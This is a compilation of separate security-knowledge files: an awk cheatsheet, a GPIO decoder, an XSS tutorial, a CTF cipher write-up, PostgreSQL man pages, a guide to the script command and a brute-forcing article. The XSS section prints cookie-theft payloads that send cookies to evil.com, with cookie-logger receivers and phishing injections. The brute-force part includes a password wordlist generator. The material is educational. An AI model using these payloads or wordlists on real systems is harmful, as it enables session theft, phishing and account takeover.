}
print ""
}'
```
Awk Formatted Printing
---------
### Usage
#### Right align
```
awk 'BEGIN{printf "|%10s|\n", "hello"}'
| hello|
```
#### Left align
```
awk 'BEGIN{printf "|%-10s|\n", "hello"}'
|hello |
```
### Common specifiers
| Character | Description |
|---------------|-----------------------|
| `c` | ASCII character |
| `d` | Decimal integer |
| `e`, `E`, `f` | Floating-point format |
| `o` | Unsigned octal value |
| `s` | String |
| `%` | Literal % |
### Space
```
awk -F: '{
printf "%-10s %s\n", $1, $(NF-1)
}' /etc/passwd | head -n 3
```
Outputs
```shell script
root /root
bin /bin
daemon /sbin
```
### Header
```
awk -F: 'BEGIN {
printf "%-10s %s\n", "User", "Home"
printf "%-10s %s\n", "----","----"}
{ printf "%-10s %s\n", $1, $(NF-1) }
' /etc/passwd | head -n 5
```
Outputs
```
User Home
---- ----
root /root
bin /bin
daemon /sbin
```
Miscellaneous
-------------
### Regex Metacharacters
- `\`
- `^`
- `$`
- `.`
- `[`
- `]`
- `|`
- `(`
- `)`
- `*`
- `+`
- `?`
{.cols-3 .marker-none}
### Escape Sequences
| - | - |
|------|---------------------|
| `\b` | Backspace |
| `\f` | Form feed |
| `\n` | Newline (line feed) |
| `\r` | Carriage return |
| `\t` | Horizontal tab |
| `\v` | Vertical tab |
### Run script
```shell script
$ cat demo.awk
#!/usr/bin/awk -f
BEGIN { x = 23 }
{ x += 2 }
END { print x }
$ awk -f demo.awk /etc/passwd
69
```
Also see
--------
- [The GNU Awk User's Guide](https://www-zeuthen.desy.de/dv/documentation/unixguide/infohtml/gawk/gawk.html) _(www-zeuthen.desy.de)_
- [AWK cheatsheet](https://gist.github.com/Rafe/3102414) _(gist.github.com)_
|
sec-knowleage
|
import matplotlib.pyplot as plt
from copy import *
datafiles = ['RSPI_GPIO_7.txt','RSPI_GPIO_8.txt','RSPI_GPIO_18.txt','RSPI_GPIO_23.txt','RSPI_GPIO_24.txt','RSPI_GPIO_25.txt']
labels = ['RS','CLK','BIT7','BIT6','BIT5','BIT4']
data=[]
class Point:
def __init__(self,x,y,l):
self.x=x
self.y=y
self.l=l
def __repr__(self):
return '('+str(self.x)+' ; '+str(self.y)+' ; '+str(self.l)+')'
class State:
def __init__(self,rs,clk,bit4,bit5,bit6,bit7):
self.rs=rs
self.clk=clk
self.bit4=bit4
self.bit5=bit5
self.bit6=bit6
self.bit7=bit7
def __repr__(self):
return str(self.rs)+'\t'+str(self.clk)+'\t'+str(self.bit4)+'\t'+str(self.bit5)+'\t'+str(self.bit6)+'\t'+str(self.bit7)
for n,i in enumerate(datafiles):
with open(i) as f:
datax=map(float,f.readline().split())
datay=map(float,f.readline().split())
for ii in range(len(datax)):
data.append(Point(datax[ii],datay[ii],labels[n]))
data.sort(key=lambda s: s.x)
states=[]
st = State(0,1,0,0,0,0)
for i in data:
if i.l=='RS':
st.rs=i.y
elif i.l=='CLK':
if i.y==0 and st.clk==1:
st.clk=i.y
#if st.rs==0:
states.append(copy(st))
else:
st.clk=i.y
elif i.l=='BIT4':
st.bit4=i.y
elif i.l=='BIT5':
st.bit5=i.y
elif i.l=='BIT6':
st.bit6=i.y
elif i.l=='BIT7':
st.bit7=i.y
else:
states.append('\033[1;34m\]ERROR '+str(i.l)+'\033[0m\]')
#print '!!!JUST FOR WATCHING TO DECODE UGLY PRINT DATA!!!\n\n'
#print 'no\trs\tclk\tbit4\tbit5\tbit6\tbit6'
#for i in range(1,len(states)):
# print i,'\t',states[i]
###UGLY PRINTING### for decoding
for i in range(1,len(states)):
print states[i]
|
sec-knowleage
|
# XSS
## XSS 简介
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
### 反射型 XSS
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
服务器端代码:
```php
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
```
可以看到,代码直接引用了 `name` 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。
### 持久型 XSS
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
服务器端代码:
```php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close(); }
?>
```
代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。
### DOM XSS
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
HTML 代码:
```html
<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>
```
将代码保存在 domXSS.html 中,浏览器访问:
```
http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>
```
即可触发 XSS 漏洞。
## XSS 利用方式
### Cookies 窃取
攻击者可以使用以下代码获取客户端的 Cookies 信息:
```html
<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>
```
在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:
```asp
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("Scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs=nothing
%>
```
```php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
```
攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。
### 会话劫持
由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。
如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。
比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。
### 钓鱼
- 重定向钓鱼
把当前页面重定向到一个钓鱼页面。
```
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
```
- HTML 注入式钓鱼
使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。
```
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
```
该段代码会在正常页面中嵌入一个 Form 表单。
- iframe 钓鱼
这种方式是通过 `<iframe>` 标签嵌入远程域的一个页面实施钓鱼。
```
http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
```
- Flash 钓鱼
将构造好的 Flash 文件传入服务器,在目标网站用 `<object>` 或 `<embed>` 标签引用即可。
- 高级钓鱼技术
注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。
### 网页挂马
一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 `<iframe>` 标签。
### DOS 与 DDOS
注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。
### XSS 蠕虫
通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。
## Self-XSS 变废为宝的场景
Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。
- 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录
这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:
1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
2. JavaScript Payload 生成 `<iframe>` 标签,并在框架内执行以下这些操作
3. 让受害者登出攻击者的账号
4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
5. 攻击者从页面提取 CSRF Token
6. 然后可以使用 CSRF Token 提交修改用户的个人信息
这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;**X-Frame-Options** 需要被设置为同源(该页面可以在相同域名页面的 `iframe` 中展示 )
- 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证
1. 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面
2. 让用户登录我们的账户页面出现 XSS,利用 使用 `<iframe>` 标签等执行恶意代码
3. 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session
|
sec-knowleage
|
# Rot (Crypto)
Another ciphertext-only challenge. This time, ciphertext is even shorter:
```
5?5?6B0a_`gL:d=6a!|vBc<<A=q>YA8|#A=Urr6t{"N
```
We immediately can infer *something* about the encryption, because we know that `scsctf_2017{` encrypts to ```5?5?6B0a_`gL```. The same input characters encode to the same output characters, so this is a substitution cipher.
The challenge title and description suggested `rot` operation. Alas, there are no obvious patterns in:
```python
mapping = {
'5': 's',
'?': 'c',
'6': 't',
'B': 'f',
'0': '_',
'a': '2',
'_': '0',
'`': '1',
'g': '8',
'L': '{',
'N': '}',
}
```
But we compute differences between ASCII values of various characters:
```python
for k, v in mapping.iteritems():
print v, ord(v) - ord(k)
```
The result is quite regular:
```
f 36
{ 47
} 47
0 -47
2 -47
1 -47
8 -47
_ 47
s 62
t 62
c 36
```
Now, as I've said, we hate guessing. So we decided to approach this problem
methodically, instead of getting into the task author's head.
One of my teammates noticed that there are only a few possible differences for
ASCII values. So he tried subtracting `[36, 47, -47, 62]` from every ciphertext
character, and written down all printable results at every position:
```
scsctf_2018{i5at2EMGf4kkeaBb*egMGea&CCtELF}
x l P zzpl m}pv Rply Q
a
```
According to that, for example, there are only two candidates for the character
after `{`, etc.
My other teammate deduced that since this is a substitution cipher and there is
clearly a lot of structure in the transformation, it should be possible to
guess the blanks in the sbox. His proposition was:
```python
rot = '5?5?6B0a_`gL:d=6a!|vBc<<A=q>YA8|#A=Urr6t{"N'
out = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'''
inn = '''OPQRSTUVWXYZ[\]^_`pqrstuvwxyzabcdefghijklmno{|}~!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMN '''
from string import maketrans
m = maketrans(out, inn)
print rot.translate(m)
```
This prints `scsctf_2018{x5at2PMGf4zzeaBb*evMRea&CCtELQ}` and both solutions agree that this should be the correct flag. But it was not accepted by the system.
The last breakthrough was by me. First I noticed that the top and bottom parts
are almost a rotation - but not quite. I fixed this with a new proposition:
```
out = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}'''
inn = '''OPQRSTUVWXYZ[\]^_`pqrstuvwxyzabcdefghijklmno{|} !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMN'''
```
Finally, I noticed that the lowercase alphabet is rotated but uppercase characters are not. I fixed that too:
```python
out = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}'''
inn = '''DEFGHIJKLMNO[\]^_`pqrstuvwxyzabcdefghijklmno{|} !"#$%&'()*+,-./0123456789:;<=>?@PQRSTUVWXYZABC'''
```
And that was it - the resulting flag was accepted by the system:
```
scsctf_2018{x5at2EBVf4zzeaQb*evBGea&RRtTAF}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DECLARE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DECLARE \- 定义一个游标
.SH SYNOPSIS
.sp
.nf
DECLARE \fIname\fR [ BINARY ] [ INSENSITIVE ] [ [ NO ] SCROLL ]
CURSOR [ { WITH | WITHOUT } HOLD ] FOR \fIquery\fR
[ FOR { READ ONLY | UPDATE [ OF \fIcolumn\fR [, ...] ] } ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDECLARE\fR 允许用户创建游标, 用于在一个大的查询里面检索少数几行数据。 使用
FETCH [\fBfetch\fR(7)],游标可以既可以返回文本也可以返回二进制格式。
.PP
通常游标返回文本格式,和 SELECT 生成的是一样的。 因为数据在系统内部是用二进制格式存储的, 系统必须对数据做一定转换以生成文本格式。 一旦数据是以文本形式返回,那么客户端应用需要把它们转换成二进制进行操作。 另外,文本格式一般都比对应的二进制格式占的存储空间大。 二进制游标给你返回内部二进制形态的数据。当然,如果你想以文本方式显示数据,那么以文本方式检索会为你节约很多客户端的工作。
.PP
比如,如果查询从一个整数列返回一个一, 在缺省的游标里你将获得一个字符串 1,而如果是一个二进制游标, 你将得到一个 4-字节的包含该数值内部形式的数值(大端序)。
.PP
游标应该小心使用二进制游标。一些用户应用如 psql 是不识别二进制游标的, 而且期望返回的数据是文本格式。
.sp
.RS
.B "Note:"
注意: 如果客户端应用使用"扩展查询"协议发出 FETCH 命令, 那么 Bind 协议声明数据是用文本还是用二进制格式检索。 这个选择覆盖游标的定义。因此,在使用扩展查询协议的时候,二进制游标的概念已经过时了 - 任何游标都可以当作文本或者二进制的格式发出。
.RE
.sp
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
将在随后FETCH操作中使用的游标名。
.TP
\fBBINARY\fR
令游标以二进制而不是文本格式获取数据。
.TP
\fBINSENSITIVE\fR
表明从游标检索出来的数据不应该被其他进程或游标的更新动作影响。 在 PostgreSQL 里,所有游标都是不敏感的,这个关键字没有什么作用,提供它只是为了和 SQL 标准兼容。
.TP
\fBSCROLL\fR
.TP
\fBNO SCROLL\fR
SCROLL 声明该游标可以用于以非顺序的方式检索数据行(也就是向后检索)。 根据查询的执行计划的不同,声明 SCROLL 可能会对查询的执行时间附加一定的影响。 NO SCROLL 声明该游标不能用于以非顺序的方式检索数据行(也就是向后检索)。
.TP
\fBWITH HOLD\fR
.TP
\fBWITHOUT HOLD\fR
WITH HOLD 声明该游标可以在创建它的事务成功提交后继续使用。 WITHOUT HOLD 声明该游标不能在创建它的的事务提交后使用。如果既没有声明 WITHOUT HOLD,也没有声明 WITH HOLD, 那么缺省是 WITH HOLD。
.TP
\fB\fIquery\fB\fR
一个SELECT查询,它提供由游标返回的行。 请参考 SELECT 语句获取有关有效查询的详细信息。
.TP
\fBFOR READ ONLY\fR
.TP
\fBFOR UPDATE\fR
FOR READ ONLY 表明游标将用于只读模式。 FOR UPDATE 表明游标将被用于更新表。 因为目前 PostgreSQL 不支持游标更新, 所以声明 FOR UPDATE 将产生一个错误信息。而声明 FOR READ ONLY 没有作用。
.TP
\fB\fIcolumn\fB\fR
将被更新的列。因为游标更新目前不被 PostgreSQL 支持, 所以 FOR UPDATE 子句将产生一个错误信息。
.PP
BINARY,INSENSITIVE,SCROLL 关键字可以以任何顺序出现。
.PP
.SH "NOTES 注意"
.PP
如果没有声明 WITH HOLD,那么这个命令创建的游标只能在当前事务中使用。
Thus, \fBDECLARE\fR without WITH
HOLD is useless outside a transaction block: the cursor would
survive only to the completion of the statement. Therefore
PostgreSQL reports an error if this
command is used outside a transaction block.
使用
BEGIN [\fBbegin\fR(7)],
COMMIT [\fBcommit\fR(7)]
和
ROLLBACK [\fBrollback\fR(7)]
定义一个事务块。
.PP
如果声明了 WITH HOLD,并且创建该游标的事务成功提交, 那么游标还可以在同一会话随后的事务里访问。(但如果创建它的事务回滚,那么游标被删除。) 带着 WITH HOLD 创建的游标是用一个明确的 CLOSE 命令,或者是会话终止来关闭的。 在目前的实现里,由一个游标代表的行是被拷贝到一个临时文件或者内存区里的,这样他们就仍然可以在随后的事务中被访问。
.PP
在定义一个要用来向后抓取的游标的时候,我们应该声明 SCROLL 选项。 这个是 SQL 标准要求的。不过,为了和早期的版本兼容, PostgreSQL 在没有 SCROLL 的时候也允许向后抓取, 只要游标的查询计划简单得不需要额外的开销就可以支持它。 不过,我们建议应用开发人员不要依赖于使用没有带着 SCROLL 定义的游标的后向查找功能。如果声明了 NO SCROLL,那么不管怎样都会禁止向后抓取的功能。
.PP
在 SQL 标准中游标只能在嵌入 SQL (ESQL) 的应用中使用。 PostgreSQL 服务器没有一个明确的 OPEN 语句;一个游标被认为在定义时就已经打开了。 不过,PostgreSQL嵌入的 SQL 预编译器, ecpg, 支持 SQL92 习惯,包括那些和DECLARE和OPEN相关的语句。
.SH "EXAMPLES 例子"
.PP
定义一个游标:
.sp
.nf
DECLARE liahona CURSOR FOR SELECT * FROM films;
.sp
.fi
参阅 FETCH [\fBfetch\fR(7)] 获取有关 游标使用的更多例子。
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准只允许在嵌入的 SQL 中和模块中使用游标。 PostgreSQL 允许交互地使用游标。
.PP
SQL 标准允许游标更新表数据。 所有 PostgreSQL 的游标都是只读的。
.PP
二进制游标是 PostgreSQL 扩展。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
.TH create_module 2 ""
.SH NAME
create_module - 生成一条可加载模块记录.
.SH 总览
.B #include <linux/module.h>
.sp
caddr_t create_module(const char *name, size_t size);
.SH 描述
create_module试图生成一条可加载模块的记录并保留用来容纳模块的内核空间内存.该
系统调用只对超级用户开放.
.SH 返回值
成功时返回模块驻留的内核空间地址,错误时返回-1,errno被相应设置.
.SH 错误
.TP
EPERM
用户非超级用户.
.TP
EEXIST
相同名字的模块已经存在.
.TP
EINVAL
要求的大小即使对模块的头信息来说也太小.
.TP
ENOMEM
内核无法给模块分配足够的连续的内存块.
.TP
EFAULT
name 越出了程序可访问的地址空间.
.SH
"雷勇" <nsinit@263.net>
|
sec-knowleage
|
script
===
记录终端会话的所有操作
## 补充说明
**script** 用于在终端会话中,记录用户的所有操作和命令的输出信息。简而言之,记录终端会话发生的一切信息,如同一台终端录像机。例如,用户在输入某条命令时,字符的键入和删除也都会被记录。用户在终端的所有操作、终端的回显等信息会被以 `raw` 格式存储在日志文件,称为终端数据文件。命令的时间信息会被单独以另一种结构储存为日志文件,称为时间日志文件。使用命令`exit`或者快捷键`Ctrl + D`停止记录。
### 语法
```shell
script(选项)(参数)
```
### 选项
```shell
-a, --append # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
-c, --command command # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
# command 可以是任意能够在终端会话执行的命令
-e, --return # 返回子进程的退出状态码
-f, --flush # 每次终端的内容发生变动,立马写入日志文件
--force # 允许默认输出终端数据文件为符号链接
-o, --output-limit size # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程
# size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000)
# 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB
-q, --quiet # 安静模式。启动和退出script命令不显示任何提示
-t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件
-V, --version # 显示版本信息并退出
-h, --help # 显示帮助文本并退出
```
### 参数
* 终端数据文件:设置存储终端数据信息的文件名称
### 实例
```shell
script # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件
script command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
script -t 2>time.file command.log # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
# 在当前目录创建名称为 time.file 的文件来保存时间日志文件
```
**以追加模式记录终端信息**
```shell
zfb@localhost:~$ script -t 2>time.file -a -f command.log
Script started, file is command.log
zfb@localhost:~$ echo "hello, world"
hello, world
zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
2020-12-23 20:48:46
zfb@localhost:~$ echo "Bye"
Bye
zfb@localhost:~$ ls -al
total 20
drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
zfb@localhost:~$ exit
Script done, file is command.log
zfb@localhost:~$
```
然后,用户可以查看终端数据文件,使用方法如下
```shell
zfb@localhost:~$ cat command.log
Script started on 2020-12-23 20:48:25+08:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="75" LINES="30"]
zfb@localhost:~$ echo "hello, world"
hello, world
zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
2020-12-23 20:48:46
zfb@localhost:~$ echo "Bye"
Bye
zfb@localhost:~$ ls -al
total 20
drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 .
drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
-rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt
-rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt
-rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log
-rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file
zfb@localhost:~$ exit
Script done on 2020-12-23 20:49:04+08:00 [COMMAND_EXIT_CODE="0"]
zfb@localhost:~$
```
其中,只有命令`cat command.log`是用户输入,其他均为自动呈现。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台机器上,都可以重现命令输入与终端回显。
**记录服务器用户会话操作**
以`root`身份编辑文件`/etc/profile`,在文件末尾追加以下内容
```bash
if [ $UID -ge 0 ]
then
exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
fi
```
然后再以`root`身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息
```bash
sudo mkdir -p /var/log/script-records/
sudo chmod 733 /var/log/script-records/
```
最后,执行命令`source /etc/profile`即可。任意用户(`UID ≥ 0`)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "SET CONSTRAINTS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
SET CONSTRAINTS \- 设置当前事务的约束模式
.SH SYNOPSIS
.sp
.nf
SET CONSTRAINTS { ALL | \fIname\fR [, ...] } { DEFERRED | IMMEDIATE }
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBSET CONSTRAINTS\fR 设置当前事务里的约束运算的特性。 在 IMMEDIATE 模式下,约束是在每条语句后面进行检查的。 在 DEFERRED 模式下,一直到事务提交时才检查约束。
.PP
在你把约束的模式修改成 IMMEDIATE 之后,新的约束模式是反作用式地生效的: 任何尚在等待的,需要在事务结束检查地数据修改的约束(在使用 DEFERRED 的时候)都将在执行 SET CONSTRAINTS 命令的时候马上检查。
.PP
从创建的时候开始,一个约束总是表现为下面三个特性之一: INITIALLY DEFERRED,
INITIALLY IMMEDIATE DEFERRABLE, 或
INITIALLY IMMEDIATE NOT DEFERRABLE。 第三个特性不会受 SET CONSTRAINTS影响。
.PP
目前,只有外键约束被这个设置影响。检查和唯一约束总是立即检查的而不是可推迟的。
.SH "NOTES 注意"
.PP
这个命令只在当前事务里修改约束的行为。因此,如果你在事务块外面 (BEGIN/COMMIT 对)执行这个命令, 它将显得没有任何作用那样。如果你希望不在每个事务中发出 SET CONSTRAINTS 也能修改约束的行为, 那么在创建这些约束的时候声明 INITIALLY DEFERRED 或者 INITIALLY IMMEDIATE。
.SH "COMPATIBILITY 兼容性"
.PP
这条命令与 SQL 标准里定义的行为兼容,只不过,在 PostgreSQL 里,它只适用于外键约束。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
原文 by [Web攻防之暴力破解](https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483704&idx=1&sn=8034515a35a30ecc148ac489cf31e976&chksm=ea3f3deadd48b4fc15bc6b18d814856ded1cdc09e01e39dd5c8927b7003e62e2694b319cf1b4&mpshare=1&scene=1&srcid=1128xiKQwQLEHKGT3docayMh#rd)
## 0x00 序
攻防之初,大多为绕过既有逻辑和认证,以Getshell为节点,不管是SQL注入获得管理员数据还是XSS 获得后台cookie,大多数是为了后台的登录权限,假若我们获得一枚口令,都是柳暗花明。不管口令复杂与否,只要在构造的字典内都是爆破之结晶。
Web形态及业务之错综,我们暂可将能够自定义字典的请求归类到爆破,以便信息的提炼和知识的逻辑推理。
本文主要收集了常用的一些爆破相关的零碎点和技巧点。
## 0x01 账户探测
探测存在与否
第一梯队:Top500用户名、手机号
第二梯队:邮箱、员工编号
## 0x02 指定口令爆破用户名
1. 指定类123456口令爆破用户名
2. 正常的top500,top10000帐号;
3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号;
a) 小工具pydictor值得推荐
`python pydictor.py -base L --len 2 3`
b) Burp也可以
4. 一位数字、二位数字、三位数字、四位数字的随机组合
```
for n in xrange(10000):
print str(n).zfill(4)
```
5. 厂商名相关帐号
a) 如:facebook、fb_steven …
b) 页面联系邮箱的规则学习及自创建
## 0x03 密码爆破
1. top500, top3000,top10000,自定义密码
a) Top 系列,几乎安全从业都有自己的弱口令字典,常规就好,太大的字典跑起来也费劲,关键是定制
b) 定制字典,pydictor值得推荐:https://github.com/LandGrey/pydictor
c) 社工库的使用,指定用户的历史密码,是一种尝试
2. 厂商特色口令生成,如baidu@123
a) 适用于应用管理员类人员以及主机协议类密码
b) 更多定制类字典也可以pydicor
c) 使用简单密码和厂商邮箱后缀组合
``` python
#coding=utf-8
import sys
key = sys.argv[1]
f = open("%s.txt"%key,"a")
list1 = [123,321,1234,4321,123456,654321,12345678,123456789,1234567890,888,8888,666,6666,163,521,1314,1,11,111,1111,2,222,3,333,5,555,9,999]
list2 = ['#123','#1234','#123456','@123','@1234','@123456','@qq.com','qq.com','@123.com','123.com','@163.com','163.com','126.com','!@#','!@#$','!@#$%^','098']
for j1 in list1:
pwd1 = key + str(j1) + '\n'
f.write(pwd1)
for j2 in list2:
pwd2 = key+str(j2)+'\n'
f.write(pwd2)
for i in range(1980,2016):
#pwd1 = key + str(i) + '\n'
pwd3 = '{}{}{}'.format(key,i,'\n')
f.write(pwd3)
f.close()
print key+' password combination ok!!!'
```
3. 加密密码暴力破解
a) 普通编码类,如base64
b) 自定义加密算法(目标系统使用了可猜测的加密算法去加密口令)
可参考浮萍写的基于RSA算法加密口令后爆破脚本:
https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py
c) Selenium 自动浏览器提交模块(可适用与不明加密算法,模拟正常操作流)
4. 弱文件后的后台爆破
a) 弱文件爆破获得后台
